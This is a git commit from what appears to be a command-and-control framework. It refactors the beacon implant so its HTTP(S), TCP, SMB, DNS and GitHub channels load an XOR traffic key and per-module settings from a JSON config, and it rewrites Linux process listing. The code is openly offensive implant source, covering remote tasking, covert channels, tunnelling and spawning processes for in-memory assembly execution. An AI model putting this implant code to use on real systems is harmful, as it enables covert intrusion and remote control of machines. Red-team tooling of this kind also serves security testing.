Beacon config

This commit is contained in:
maxdcb
2024-12-12 08:23:05 -05:00
parent 96474cf4af
commit f1bd0635cf
17 changed files with 271 additions and 116 deletions
+71 -13
View File
@@ -32,12 +32,12 @@ typedef ModuleCmd* (*constructProc)();
using namespace std;
// XOR encrypted at compile time, so don't appear in string
constexpr std::string_view _KeyTraficEncryption_ = "dfsdgferhzdzxczevre5595485sdg";
constexpr std::string_view mainKeyConfig = ".CRT$XCL";
// // XOR encrypted at compile time, so don't appear in string
// constexpr std::string_view _KeyTraficEncryption_ = "dfsdgferhzdzxczevre5595485sdg";
// constexpr std::string_view mainKeyConfig = ".CRT$XCL";
// compile time encryption
constexpr std::array<char, 29> _EncryptedKeyTraficEncryption_ = compileTimeXOR<29, 8>(_KeyTraficEncryption_, mainKeyConfig);
// // compile time encryption
// constexpr std::array<char, 29> _EncryptedKeyTraficEncryption_ = compileTimeXOR<29, 8>(_KeyTraficEncryption_, mainKeyConfig);
#ifdef __linux__
@@ -100,10 +100,15 @@ IntegrityLevel GetCurrentProcessIntegrityLevel()
#endif
Beacon::Beacon(const std::string& ip, int port)
Beacon::Beacon()
{
m_ip = ip;
m_port = port;
// // decrypt key
// std::string keyDecrypted(std::begin(_EncryptedKeyTraficEncryption_), std::end(_EncryptedKeyTraficEncryption_));
// std::string key(mainKeyConfig);
// XOR(keyDecrypted, key);
// m_key=keyDecrypted;
m_beaconHash = random_string(SizeBeaconHash);
m_aliveTimerMs = 1000;
@@ -223,12 +228,51 @@ Beacon::Beacon(const std::string& ip, int port)
m_privilege = "HIGH";
#endif
// decrypt key
std::string keyDecrypted(std::begin(_EncryptedKeyTraficEncryption_), std::end(_EncryptedKeyTraficEncryption_));
std::string key(mainKeyConfig);
XOR(keyDecrypted, key);
m_key=keyDecrypted;
}
void Beacon::run()
{
bool exit = false;
while (!exit)
{
try
{
checkIn();
exit = runTasks();
sleep();
}
catch(const std::exception& ex)
{
// std::cout << "Exeption " << std::endl;
// std::cout << "Exeption " << ex.what() << std::endl;
sleep();
}
catch (...)
{
// std::cout << "Exeption" << std::endl;
sleep();
}
}
checkIn();
}
bool Beacon::initConfig(const std::string& config)
{
nlohmann::json beaconConfig = nlohmann::json::parse(config);
m_key = beaconConfig["xorKey"].get<std::string>();
m_modulesConfig = beaconConfig["ModulesConfig"];
std::cout << "m_modulesConfig " << m_modulesConfig << std::endl;
return true;
}
@@ -745,8 +789,22 @@ bool Beacon::execInstruction(C2Message& c2Message, C2Message& c2RetMessage)
}
std::unique_ptr<ModuleCmd> moduleCmd_(moduleCmd);
// initConfig for modules
nlohmann::json config = m_modulesConfig;
for (auto& it : config.items())
{
unsigned long long moduleHash = djb2(it.key());
if(moduleCmd_.get()->getHash() == moduleHash)
{
moduleCmd_.get()->initConfig(it.value());
}
}
m_moduleCmd.push_back(std::move(moduleCmd_));
c2RetMessage.set_returnvalue(CmdStatusSuccess);
return false;
+6 -33
View File
@@ -20,50 +20,21 @@
class Beacon
{
public:
Beacon(const std::string& ip, int port);
Beacon();
virtual ~Beacon(){};
void run()
{
bool exit = false;
while (!exit)
{
try
{
checkIn();
exit = runTasks();
sleep();
}
catch(const std::exception& ex)
{
// std::cout << "Exeption " << std::endl;
// std::cout << "Exeption " << ex.what() << std::endl;
sleep();
}
catch (...)
{
// std::cout << "Exeption" << std::endl;
sleep();
}
}
checkIn();
}
bool initConfig(const std::string& config);
void run();
protected:
virtual void checkIn() = 0;
bool runTasks();
void sleep();
protected:
bool execInstruction(C2Message& c2Message, C2Message& c2RetMessage);
bool cmdToTasks(const std::string& input);
bool taskResultsToCmd(std::string& output);
std::string m_ip;
int m_port;
int m_aliveTimerMs;
std::string m_beaconHash;
@@ -78,6 +49,8 @@ protected:
private:
std::string m_key;
nlohmann::json m_modulesConfig;
std::vector<std::unique_ptr<ModuleCmd>> m_moduleCmd;
std::vector<std::unique_ptr<Listener>> m_listeners;
std::vector<std::unique_ptr<SocksTunnelClient>> m_socksTunnelClient;
+5 -2
View File
@@ -4,9 +4,12 @@ using namespace std;
using namespace dns;
BeaconDns::BeaconDns(const std::string& dnsServer, const std::string& domain)
: Beacon("127.0.0.1", 666)
BeaconDns::BeaconDns(std::string& config, const std::string& dnsServer, const std::string& domain)
: Beacon()
{
// beacon and modules config
initConfig(config);
m_client=new Client(dnsServer, domain);
}
+1 -1
View File
@@ -8,7 +8,7 @@ class BeaconDns : public Beacon
{
public:
BeaconDns(const std::string& dnsServer, const std::string& domain);
BeaconDns(std::string& config, const std::string& dnsServer, const std::string& domain);
~BeaconDns();
private:
+5 -2
View File
@@ -371,13 +371,16 @@ int BeaconGithub::HandleRequest(const string& domain, const string& url)
BeaconGithub::BeaconGithub(const std::string& project, const std::string& token)
: Beacon("127.0.0.1", 666)
BeaconGithub::BeaconGithub(std::string& config, const std::string& project, const std::string& token)
: Beacon()
, m_project(project)
, m_token(token)
{
m_aliveTimerMs = 1000 * 10;
srand(time(NULL));
// beacon and modules config
initConfig(config);
}
+1 -1
View File
@@ -7,7 +7,7 @@ class BeaconGithub : public Beacon
{
public:
BeaconGithub(const std::string& project, const std::string& token);
BeaconGithub(std::string& config, const std::string& project, const std::string& token);
~BeaconGithub();
void checkIn();
+21 -10
View File
@@ -313,12 +313,23 @@ string HttpsWebRequestGet(const string& domain, int port, const string& url, con
BeaconHttp::BeaconHttp(std::string& config, std::string& ip, int port, bool isHttps)
: Beacon(ip, port)
: Beacon()
, m_isHttps(isHttps)
{
srand(time(NULL));
m_beaconHttpConfig = nlohmann::json::parse(config);
m_ip = ip;
m_port = port;
// Http communcation config
nlohmann::json configJson = nlohmann::json::parse(config);
if(isHttps)
m_beaconHttpConfig = configJson["ListenerHttpsConfig"];
else
m_beaconHttpConfig = configJson["ListenerHttpConfig"];
// beacon and modules config
initConfig(config);
for(int i=0; i<config.size(); i++)
config[i]='.';
@@ -343,10 +354,10 @@ void BeaconHttp::checkIn()
std::string output;
taskResultsToCmd(output);
nlohmann::json httpsUri = m_beaconHttpConfig["ListenerHttpsConfig"][0]["uri"];
nlohmann::json httpsUri = m_beaconHttpConfig["uri"];
std::string endPoint = httpsUri[ rand() % httpsUri.size() ];
nlohmann::json httpHeaders = m_beaconHttpConfig["ListenerHttpsConfig"][0]["client"][0]["headers"][0];
nlohmann::json httpHeaders = m_beaconHttpConfig["client"]["headers"];
httplib::Headers httpClientHeaders;
for (auto& it : httpHeaders.items())
@@ -371,10 +382,10 @@ void BeaconHttp::checkIn()
std::string output;
taskResultsToCmd(output);
nlohmann::json httpUri = m_beaconHttpConfig["ListenerHttpConfig"][0]["uri"];
nlohmann::json httpUri = m_beaconHttpConfig["uri"];
std::string endPoint = httpUri[ rand() % httpUri.size() ];
nlohmann::json httpHeaders = m_beaconHttpConfig["ListenerHttpConfig"][0]["client"][0]["headers"][0];
nlohmann::json httpHeaders = m_beaconHttpConfig["client"]["headers"];
httplib::Headers httpClientHeaders;
for (auto& it : httpHeaders.items())
@@ -400,12 +411,12 @@ void BeaconHttp::checkIn()
if(m_isHttps)
{
auto httpsUri = m_beaconHttpConfig["ListenerHttpsConfig"][0]["uri"];
auto httpsUri = m_beaconHttpConfig["uri"];
endPoint = httpsUri[ rand() % httpsUri.size() ];
}
else
{
auto httpUri = m_beaconHttpConfig["ListenerHttpConfig"][0]["uri"];
auto httpUri = m_beaconHttpConfig["uri"];
endPoint = httpUri[ rand() % httpUri.size() ];
}
@@ -414,9 +425,9 @@ void BeaconHttp::checkIn()
nlohmann::json httpHeaders;
if(!m_isHttps)
httpHeaders = m_beaconHttpConfig["ListenerHttpConfig"][0]["client"][0]["headers"][0];
httpHeaders = m_beaconHttpConfig["client"]["headers"];
else
httpHeaders = m_beaconHttpConfig["ListenerHttpsConfig"][0]["client"][0]["headers"][0];
httpHeaders = m_beaconHttpConfig["client"]["headers"];
// TODO put a rule to know when do post and when we do get
bool isPost=true;
+3
View File
@@ -13,6 +13,9 @@ public:
void checkIn();
private:
std::string m_ip;
int m_port;
nlohmann::json m_beaconHttpConfig;
bool m_isHttps;
+5 -2
View File
@@ -4,9 +4,12 @@ using namespace std;
using namespace PipeHandler;
BeaconSmb::BeaconSmb(const std::string& pipeName)
: Beacon("127.0.0.1", 911)
BeaconSmb::BeaconSmb(std::string& config, const std::string& pipeName)
: Beacon()
{
// beacon and modules config
initConfig(config);
m_clientSmb = new PipeHandler::Client(pipeName);
}
+1 -1
View File
@@ -8,7 +8,7 @@ class BeaconSmb : public Beacon
{
public:
BeaconSmb(const std::string& pipeName);
BeaconSmb(std::string& config, const std::string& pipeName);
~BeaconSmb();
private:
+8 -2
View File
@@ -3,9 +3,15 @@
using namespace std;
BeaconTcp::BeaconTcp(std::string& ip, int port)
: Beacon(ip, port)
BeaconTcp::BeaconTcp(std::string& config, std::string& ip, int port)
: Beacon()
{
m_ip = ip;
m_port = port;
// beacon and modules config
initConfig(config);
m_client=new SocketTunnelClient();
}
+4 -1
View File
@@ -8,10 +8,13 @@ class BeaconTcp : public Beacon
{
public:
BeaconTcp(std::string& ip, int port);
BeaconTcp(std::string& config, std::string& ip, int port);
~BeaconTcp();
private:
std::string m_ip;
int m_port;
void checkIn();
int splitInPacket(const std::string& input, std::vector<std::string>& output);
+10 -10
View File
@@ -17,8 +17,8 @@ if(WIN32)
else()
target_link_libraries(BeaconHttpLib SocketHandler PipeHandler MemoryModule SocksServer openssl::openssl httplib::httplib)
endif()
add_custom_command(TARGET BeaconHttpLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:BeaconHttpLib> "${CMAKE_SOURCE_DIR}/Release/Beacons/$<TARGET_FILE_NAME:BeaconHttpLib>")
# add_custom_command(TARGET BeaconHttpLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
# $<TARGET_FILE:BeaconHttpLib> "${CMAKE_SOURCE_DIR}/Release/Beacons/$<TARGET_FILE_NAME:BeaconHttpLib>")
set(SOURCES_BEACON_TCP_EXE
@@ -37,8 +37,8 @@ if(WIN32)
else()
target_link_libraries(BeaconTcpLib SocketHandler PipeHandler MemoryModule SocksServer )
endif()
add_custom_command(TARGET BeaconTcpLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:BeaconTcpLib> "${CMAKE_SOURCE_DIR}/Release/Beacons/$<TARGET_FILE_NAME:BeaconTcpLib>")
# add_custom_command(TARGET BeaconTcpLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
# $<TARGET_FILE:BeaconTcpLib> "${CMAKE_SOURCE_DIR}/Release/Beacons/$<TARGET_FILE_NAME:BeaconTcpLib>")
set(SOURCES_BEACON_SMB_EXE
@@ -57,8 +57,8 @@ if(WIN32)
else()
target_link_libraries(BeaconSmbLib SocketHandler PipeHandler MemoryModule SocksServer )
endif()
add_custom_command(TARGET BeaconSmbLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:BeaconSmbLib> "${CMAKE_SOURCE_DIR}/Release/Beacons/$<TARGET_FILE_NAME:BeaconSmbLib>")
# add_custom_command(TARGET BeaconSmbLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
# $<TARGET_FILE:BeaconSmbLib> "${CMAKE_SOURCE_DIR}/Release/Beacons/$<TARGET_FILE_NAME:BeaconSmbLib>")
set(SOURCES_BEACON_GITHUB_EXE
@@ -77,8 +77,8 @@ if(WIN32)
else()
target_link_libraries(BeaconGithubLib SocketHandler PipeHandler MemoryModule SocksServer openssl::openssl httplib::httplib)
endif()
add_custom_command(TARGET BeaconGithubLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:BeaconGithubLib> "${CMAKE_SOURCE_DIR}/Release/Beacons/$<TARGET_FILE_NAME:BeaconGithubLib>")
# add_custom_command(TARGET BeaconGithubLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
# $<TARGET_FILE:BeaconGithubLib> "${CMAKE_SOURCE_DIR}/Release/Beacons/$<TARGET_FILE_NAME:BeaconGithubLib>")
set(SOURCES_BEACON_DNS_EXE
@@ -97,5 +97,5 @@ if(WIN32)
else()
target_link_libraries(BeaconDnsLib Dnscommunication SocketHandler PipeHandler MemoryModule SocksServer )
endif()
add_custom_command(TARGET BeaconDnsLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:BeaconDnsLib> "${CMAKE_SOURCE_DIR}/Release/Beacons/$<TARGET_FILE_NAME:BeaconDnsLib>")
# add_custom_command(TARGET BeaconDnsLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
# $<TARGET_FILE:BeaconDnsLib> "${CMAKE_SOURCE_DIR}/Release/Beacons/$<TARGET_FILE_NAME:BeaconDnsLib>")
+12
View File
@@ -203,6 +203,18 @@ int AssemblyExec::init(std::vector<std::string> &splitedCmd, C2Message &c2Messag
}
int AssemblyExec::initConfig(const nlohmann::json &config)
{
for (auto& it : config.items())
{
if(it.key()=="process")
m_processToSpawn = it.value();
}
return 0;
}
int AssemblyExec::process(C2Message &c2Message, C2Message &c2RetMessage)
{
const std::string payload = c2Message.data();
+3
View File
@@ -17,9 +17,12 @@ public:
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int initConfig(const nlohmann::json &config);
int process(C2Message& c2Message, C2Message& c2RetMessage);
private:
std::string m_processToSpawn;
#ifdef _WIN32
int createNewProcess(const std::string& payload, const std::string& processToSpawn, std::string& result);
int createNewThread(const std::string& payload, std::string& result);
+114 -38
View File
@@ -41,62 +41,138 @@ using namespace std;
#ifdef __linux__
#define PROC_DIRECTORY "/proc/"
int IsNumeric(const char* ccharptr_CharacterList)
namespace fs = std::filesystem;
struct ProcessInfo
{
for ( ; *ccharptr_CharacterList; ccharptr_CharacterList++)
if (*ccharptr_CharacterList < '0' || *ccharptr_CharacterList > '9')
return 0;
return 1;
std::string user;
int pid;
std::string state;
long memory;
std::string command;
};
std::string get_username(uid_t uid)
{
struct passwd *pw = getpwuid(uid);
return pw ? pw->pw_name : "unknown";
}
std::string GetProcess()
ProcessInfo get_process_info(const std::string& pid_dir)
{
std::string result;
DIR* dir_proc = opendir(PROC_DIRECTORY) ;
if (dir_proc == NULL)
return result;
ProcessInfo proc_info;
proc_info.pid = std::stoi(pid_dir);
struct dirent* dirEntity = NULL;
while((dirEntity = readdir(dir_proc)))
// Read /proc/[PID]/status for user and state
std::ifstream status_file("/proc/" + pid_dir + "/status");
std::string line;
uid_t uid = -1;
while (std::getline(status_file, line))
{
if (dirEntity->d_type == DT_DIR)
if (line.find("Uid:") == 0)
{
if (IsNumeric(dirEntity->d_name))
std::istringstream iss(line);
std::string label;
iss >> label >> uid; // Get the real UID
proc_info.user = get_username(uid);
}
else if (line.find("State:") == 0)
{
proc_info.state = line.substr(7, 1); // Skip "State:"
}
}
// Read /proc/[PID]/stat for memory usage
std::ifstream stat_file("/proc/" + pid_dir + "/stat");
if (stat_file)
{
std::string temp;
long rss;
for (int i = 0; i < 23; ++i)
{
stat_file >> temp; // Skip to the 24th field (RSS)
}
stat_file >> rss; // Resident Set Size in pages
proc_info.memory = rss * sysconf(_SC_PAGESIZE) / 1024; // Convert to KB
}
// Read /proc/[PID]/cmdline for command
std::ifstream cmdline_file("/proc/" + pid_dir + "/cmdline");
if (cmdline_file)
{
std::string buffer((std::istreambuf_iterator<char>(cmdline_file)), std::istreambuf_iterator<char>());
// Split on null character '\0'
std::vector<std::string> args;
std::istringstream iss(buffer);
std::string arg;
while (std::getline(iss, arg, '\0'))
{
if (!arg.empty())
{
std::string CommandLinePath = PROC_DIRECTORY;
CommandLinePath+=dirEntity->d_name;
CommandLinePath+="/cmdline";
args.push_back(arg);
}
}
struct stat info;
stat(CommandLinePath.c_str(), &info); // Error check omitted
struct passwd *pw = getpwuid(info.st_uid);
std::string owner = "";
if(pw != 0)
owner = pw->pw_name;
// Join arguments with spaces to reconstruct the real command line
for (size_t i = 0; i < args.size(); ++i)
{
if (i > 0)
{
proc_info.command += " ";
}
proc_info.command += args[i];
}
std::ifstream t(CommandLinePath);
std::stringstream buffer;
buffer << t.rdbuf();
}
pid_t pid = (pid_t)atoi(dirEntity->d_name);
std::string ProcessName = buffer.str();
return proc_info;
}
if(!ProcessName.empty())
std::string GetProcess()
{
std::vector<ProcessInfo> processes;
// Iterate over /proc
for (const auto& entry : fs::directory_iterator("/proc"))
{
if (entry.is_directory())
{
std::string dirname = entry.path().filename().string();
if (std::all_of(dirname.begin(), dirname.end(), ::isdigit))
{
try
{
result += owner;
result += " ";
result += std::to_string(pid);
result += " ";
result += ProcessName.substr(0,128);
result += "\n";
processes.push_back(get_process_info(dirname));
}
catch (...)
{
// Skip processes we can't access
}
}
}
}
closedir(dir_proc) ;
// Print header
std::string result;
result += "USER" + std::string(16-4, ' ') + "PID" + std::string(12-3, ' ') + "STATE" + std::string(6-5, ' ') + "MEM(KB)" + std::string(12-7, ' ') + "COMMAND\n";
// Print processes
for (const auto& proc : processes)
{
result += proc.user + std::string(std::max((int)(16-proc.user.size()), 1), ' ')
+ std::to_string(proc.pid) + std::string(std::max((int)(12-std::to_string(proc.pid).size()), 1), ' ')
+ proc.state + std::string(std::max((int)(6-proc.state.size()), 1), ' ')
+ std::to_string(proc.memory) + std::string(std::max((int)(12-std::to_string(proc.memory).size()), 1), ' ')
+ proc.command + "\n";
}
return result;
}
+1
View File
@@ -63,6 +63,7 @@ public:
// if an error ocurre:
// set_returnvalue(errorMsg) && return -1
virtual int init(std::vector<std::string>& splitedCmd, C2Message& c2Message) = 0;
virtual int initConfig(const nlohmann::json &config) {return 0;};
virtual int process(C2Message& c2Message, C2Message& c2RetMessage) = 0;
virtual int followUp(const C2Message &c2RetMessage) {return 0;};
virtual int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) {return 0;};